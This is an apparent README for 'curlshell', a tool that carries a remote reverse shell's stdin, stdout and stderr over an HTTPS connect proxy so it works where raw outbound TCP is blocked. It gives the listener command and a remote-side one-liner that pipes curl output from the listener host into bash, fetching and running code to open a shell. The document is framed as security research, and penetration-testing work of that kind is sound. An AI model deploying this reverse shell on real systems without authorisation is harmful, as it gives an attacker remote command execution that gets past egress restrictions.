During security research, you may end up running code in an environment, where establishing raw TCP connections to the outside world is not possible; outgoing connection may only go through a connect proxy (HTTPS_PROXY). This simple interactive HTTP server provides a way to mux stdin/stdout and stderr of a remote reverse shell over that proxy with the help of curl.
Start your listener:
./curlshell.py --certificate fullchain.pem --private-key privkey.pem --listen-port 1234
On the remote side:
curl https://curlshell:1234 | bash
That's it!